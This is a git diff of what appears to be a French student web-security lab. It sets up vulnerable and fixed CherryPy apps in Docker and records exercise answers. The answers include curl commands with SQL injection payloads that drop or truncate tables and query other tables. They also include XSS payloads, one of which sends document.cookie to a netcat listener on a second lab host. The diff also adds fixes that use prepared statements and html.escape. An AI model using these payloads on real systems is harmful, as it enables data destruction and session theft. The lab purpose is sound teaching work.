diff --git a/Makefile b/Makefile index d229e8c67dcbc8761f4ca3f10caa1885156aa778..582471daba52a0acd62eeb3ed8da14bc53d75594 100644 --- a/Makefile +++ b/Makefile @@ -3,7 +3,7 @@ db: up: db sleep 10 - docker-compose -f ./deployments/docker-compose.yml up -d web web2 + docker-compose -f ./deployments/docker-compose.yml up -d web_vul web_sql_correct web_xss down: docker-compose -f ./deployments/docker-compose.yml down diff --git a/deployments/docker-compose.yml b/deployments/docker-compose.yml index e3f8e4886d1afb160724a68e6984a381c5ff4701..63ae0b1dea2223aa8d74fc0f7f42d605bde100c2 100644 --- a/deployments/docker-compose.yml +++ b/deployments/docker-compose.yml @@ -25,7 +25,7 @@ services: isi: ipv4_address: "10.1.0.2" - web: + web_vul: image: isi2_web:0.1.0 restart: always build: @@ -40,7 +40,7 @@ services: isi: ipv4_address: "10.1.0.3" - web2: + web_sql_correct: image: isi2_web_correct:0.1.0 restart: always build: @@ -55,7 +55,7 @@ services: isi: ipv4_address: "10.1.0.5" - web3: + web_xss: image: isi2_web_xss:0.1.0 restart: always build: @@ -68,7 +68,7 @@ services: - db networks: isi: - ipv4_address: "10.1.0.5" + ipv4_address: "10.1.0.6" adminer: image: adminer diff --git a/rendu.md b/rendu.md index f7783688ad0548c473891a8a847ac49551c681f9..5c58a56422b9a6d28e35555f3496270f241847e4 100644 --- a/rendu.md +++ b/rendu.md @@ -16,50 +16,70 @@ * Commande curl qui bypass la vérification +``` - curl -X POST -d "chaine=Mohamed" http://172.28.101.47:8080/ - curl -X POST -d "chaine=Mohamed@Selim" http://172.28.101.47:8080/ - +``` ## Question 3 * Votre commande curl pour effacer la table (V1) +``` +- curl -X POST -d "chaine=%22%29%3B+DROP+TABLE+chaines%3B--" http://172.28.101.47:8080/ - curl -X POST -d "chaine=%22%29%3B+TRUNCATE+TABLE+chaines%3B--" http://172.28.101.47:8080/ - curl -X POST -d 'chaine=");+TRUNCATE+TABLE+chaines%3B--' http://172.28.101.47:8080/ +- curl -X POST -d 'chaine=");+DROP+TABLE+chaines%3B--' http://172.28.101.47:8080/ +``` * commande pour bypass le champ who - +``` - curl -X POST -d "chaine=hacked','000000')#" http://172.28.101.47:8080/ - +``` * Expliquez comment obtenir des informations sur une autre table -- Les informations sur les tables d'une DB sont stockées dans la table information_schema. +- Il suffit d'échapper la commande SQL et de rajouter un SELECT * FROM othertable. +- De plus on sait que MySQL crée une table information_schema qui garde toutes les infos sur une Table. + +``` - curl -X POST -d "chaine=hacked','000000')+AND+SELECT+*+FROM+chaines2#" http://172.28.101.47:8080/ +``` ## Question 4 Rendre un fichier server_correct.py avec la correction de la faille de sécurité. Expliquez comment vous avez corrigé la faille. - Il faut utiliser des rêquetes préparées. -- Grâce à la fonction cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip]) +``` +requete = """INSERT INTO chaines (txt,who) VALUES (%s,%s)""" +cursor.execute(requete, [post["chaine"], cherrypy.request.remote.ip]) +``` ## Question 5 * Commande curl pour afficher une fenetre de dialog. +``` - curl -X POST -d "chaine=<script>alert('bonjour')</script>" http://172.28.101.47:8080/ +``` * Commande curl pour lire les cookies +``` - curl -X POST -d "chaine=<script>alert(document.cookie)</script>" http://172.28.101.47:8080/ -- curl -X POST -d "chaine=<script>document.cookie="TOKEN=SECRET"</script>" http://172.28.101.47:8080/ -- curl -X POST -d "chaine=<script>document.write('<img src=http://172.28.101.111:6666?c='+ escape(document.cookie) + '>');</script>" http://172.28.101.47:8080 +``` + +* Commande curl pour voler les cookies +``` +- nc -l -p 6666 (sur la machine 172.28.101.111) +- curl -X POST -d "chaine=<script>location.replace(\"http://172.28.101.111:6666?c=\"+document.cookie)</script>" http://172.28.101.47:8080 +``` ## Question 6 Rendre un fichier server_xss.py avec la correction de la faille. Expliquez la demarche que vous avez suivi. -- Il faut utiliser échapper les caractères spéciaux grâce à html.escape() +- Il faut échapper les caractères spéciaux grâce à html.escape() diff --git a/server_xss.py b/server_xss.py index 821fb0b2aeb84d1766a877a333926850df150d5a..3245407884b4942f25c706edde8e3fa226fb11f4 100755 --- a/server_xss.py +++ b/server_xss.py @@ -3,6 +3,7 @@ import mysql.connector import cherrypy import config +import html class VulnerableApp(object): def __init__(self): @@ -20,7 +21,7 @@ class VulnerableApp(object): chaines = [] cursor.execute("SELECT txt,who FROM chaines"); for row in cursor.fetchall(): - chaines.append(html.escape(row[0]) + " envoye par: " + row[1]) + chaines.append(row[0] + " envoye par: " + row[1]) cursor.close() return ''' @@ -36,7 +37,7 @@ Bonjour, je suis une application vulnerable qui sert a inserer des chaines dans <p> Liste des chaines actuellement insérées: <ul> -'''+"\n".join(["<li>" + s + "</li>" for s in chaines])+''' +'''+"\n".join(["<li>" + html.escape(s) + "</li>" for s in chaines])+''' </ul> </p>